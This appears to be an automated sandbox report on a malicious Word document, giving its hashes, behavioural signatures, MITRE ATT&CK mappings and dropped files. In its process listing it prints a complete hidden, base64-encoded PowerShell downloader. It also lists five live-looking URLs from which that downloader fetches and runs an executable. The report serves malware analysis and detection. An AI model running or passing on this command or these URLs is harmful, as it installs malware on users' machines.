0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b

General

Target

0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b.doc
Size

173KB
MD5

5241dd964d853c1c46b4806a6a5199c8
SHA1

66f8e49163a8b17d9727b45205bbd6c43771eeaf
SHA256

0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b
SHA512

201752e0dee9f4bcb3b14ef29e6b75c2696bb4d07ff93234ee36c5f509927a039a2e25af1337d94f6e1ca9ad47bb8cb18ed92b7390efc1dbd930ad4fb3d4933a
SSDEEP

3072:ss2y/Gdy/ktGDWLS0HZWD5w8K7Nk9pD7IBUSWzB31U3h:ss2k4PtGiL3HJk9pD7bdd31k

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://staging.mcuinternational.org/tmp/zmrx/

exe.dropper

https://35g8.com/defines/5etmq2/

exe.dropper

https://namdeinvest.com/wp-content/hxjzb/

exe.dropper

http://ibtinfracon.com/wp/WNr/

exe.dropper

http://websitetest.dranubhasingh.com/wp-includes/7j8/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	668	3400	Powershell.exe	83

Blocklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow	pid	Process
26	668	Powershell.exe
29	668	Powershell.exe
30	668	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

Powershell.exe

pid	Process
668	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
1616	WINWORD.EXE
1616	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid	Process
668	Powershell.exe
668	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description	pid	Process
Token: SeDebugPrivilege	668	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid	Process
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE
1616	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	Process	procid_target
PID 1616 wrote to memory of 4848	1616	WINWORD.EXE	86
PID 1616 wrote to memory of 4848	1616	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4848

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABDAHAAcABwAGgAYgBuAGoAZgBuAGwAZwBjAD0AJwBTAGsAYwBhAG0AbQBpAHUAegB3ACcAOwAkAEwAdQBtAGUAagBsAGIAdwBjAGIAcgB2AHQAIAA9ACAAJwA4ADcAMQAnADsAJABEAHgAbgBzAHMAcQB4AGYAawBiAHcAPQAnAEsAZwBxAHkAZgB5AGoAcwBqAGgAcwB0AHQAJwA7ACQAUABqAGwAeQBuAGEAdQB6AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwAdQBtAGUAagBsAGIAdwBjAGIAcgB2AHQAKwAnAC4AZQB4AGUAJwA7ACQAVQBwAHMAbABsAHkAZwBoAGEAdABuAG0APQAnAEgAaQBmAGIAbgBiAGIAZQBiACcAOwAkAFUAZABlAHgAcAB5AHgAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAQgBjAEwASQBlAG4AdAA7ACQATwB2AHcAeABlAHEAbwBmAHMAPQAnAGgAdAB0AHAAOgAvAC8AcwB0AGEAZwBpAG4AZwAuAG0AYwB1AGkAbgB0AGUAcgBuAGEAdABpAG8AbgBhAGwALgBvAHIAZwAvAHQAbQBwAC8AegBtAHIAeAAvACoAaAB0AHQAcABzADoALwAvADMANQBnADgALgBjAG8AbQAvAGQAZQBmAGkAbgBlAHMALwA1AGUAdABtAHEAMgAvACoAaAB0AHQAcABzADoALwAvAG4AYQBtAGQAZQBpAG4AdgBlAHMAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGgAeABqAHoAYgAvACoAaAB0AHQAcAA6AC8ALwBpAGIAdABpAG4AZgByAGEAYwBvAG4ALgBjAG8AbQAvAHcAcAAvAFcATgByAC8AKgBoAHQAdABwADoALwAvAHcAZQBiAHMAaQB0AGUAdABlAHMAdAAuAGQAcgBhAG4AdQBiAGgAYQBzAGkAbgBnAGgALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADcAagA4AC8AJwAuACIAcwBQAGAATABpAFQAIgAoACcAKgAnACkAOwAkAEcAdwB1AHAAdgB5AHoAZQBkAGsAdgBpAGwAPQAnAEUAegBxAGUAcgBsAHMAbgBiAHoAbgByAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEEAeABnAHUAegBqAGgAeABtACAAaQBuACAAJABPAHYAdwB4AGUAcQBvAGYAcwApAHsAdAByAHkAewAkAFUAZABlAHgAcAB5AHgAZgAuACIARABvAHcAbgBsAGAATwBgAEEARABmAGkAYABMAGUAIgAoACQAQQB4AGcAdQB6AGoAaAB4AG0ALAAgACQAUABqAGwAeQBuAGEAdQB6AHIAKQA7ACQAUQBuAGIAbQBlAGIAbQByAGUAdQBuAGgAPQAnAE0AegB1AG8AbgB4AGMAbgB3AHoAbQBvACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUABqAGwAeQBuAGEAdQB6AHIAKQAuACIATABlAE4AYABHAHQAaAAiACAALQBnAGUAIAAyADcANgAzADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQAUABqAGwAeQBuAGEAdQB6AHIAKQA7ACQASABoAHUAdQBrAHUAaABoAHkAagB5AD0AJwBMAGsAZABkAGYAcwBwAHoAdAAnADsAYgByAGUAYQBrADsAJABOAHEAZABxAGIAYQBxAHIAdABiAHgAbgA9ACcAQwBhAGUAcwB2AGUAcABlAHYAYgBtACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAcgBkAHEAbwBkAGMAaAB0AD0AJwBGAHkAdABoAHoAZgBvAHcAagBxAGQAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\743B0C0E.wmf

Filesize
444B

MD5
a099daefe04c9cf8df1d36dcec4b8251

SHA1
f183899b92d71dd1f67bb1f715c43a12b1a8f0a9

SHA256
2ba9063c55b052f55df2ce1f6b135247774f48b060105b944e5251a709e2152c

SHA512
f2b7078f3239a3ea7edc07795ffc684091e5de5daf6eafa9178fbe6e8c5b3e178fb1922f1d67cb5fcd56c839eb330856fae43ab3cc311ea7485a6e7a73bf3835

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDCA3F.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eyborllx.gl4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
ceb46628cf42a04e2dfe6baa6c3d5431

SHA1
6bf4f6b449cba461848ba6142dd2e385a8f8edd6

SHA256
de2c4baed81fe2534dedc7e5421a66015a5c3e1f50494204311fc7326732b3a3

SHA512
ce32ff2e8ec5ed0020e4962019eaa503e2c80b6614134bf0fa1f2e90fcc2831561369a27192f17aaa54f641423aa2da5b7bb80c425a3b88f9062b2ccb15a813d

Download Submit
memory/668-53-0x0000027E41550000-0x0000027E41572000-memory.dmp

Filesize
136KB

Download
memory/1616-7-0x00007FFE175B0000-0x00007FFE175C0000-memory.dmp

Filesize
64KB

Download
memory/1616-11-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-1-0x00007FFE575CD000-0x00007FFE575CE000-memory.dmp

Filesize
4KB

Download
memory/1616-10-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-13-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-14-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-15-0x00007FFE14C50000-0x00007FFE14C60000-memory.dmp

Filesize
64KB

Download
memory/1616-16-0x00007FFE14C50000-0x00007FFE14C60000-memory.dmp

Filesize
64KB

Download
memory/1616-12-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-20-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-19-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-18-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-17-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-6-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-9-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-8-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-5-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-2-0x00007FFE175B0000-0x00007FFE175C0000-memory.dmp

Filesize
64KB

Download
memory/1616-3-0x00007FFE175B0000-0x00007FFE175C0000-memory.dmp

Filesize
64KB

Download
memory/1616-67-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-68-0x00007FFE575CD000-0x00007FFE575CE000-memory.dmp

Filesize
4KB

Download
memory/1616-69-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-4-0x00007FFE175B0000-0x00007FFE175C0000-memory.dmp

Filesize
64KB

Download
memory/1616-75-0x00007FFE57530000-0x00007FFE57725000-memory.dmp

Filesize
2.0MB

Download
memory/1616-0-0x00007FFE175B0000-0x00007FFE175C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads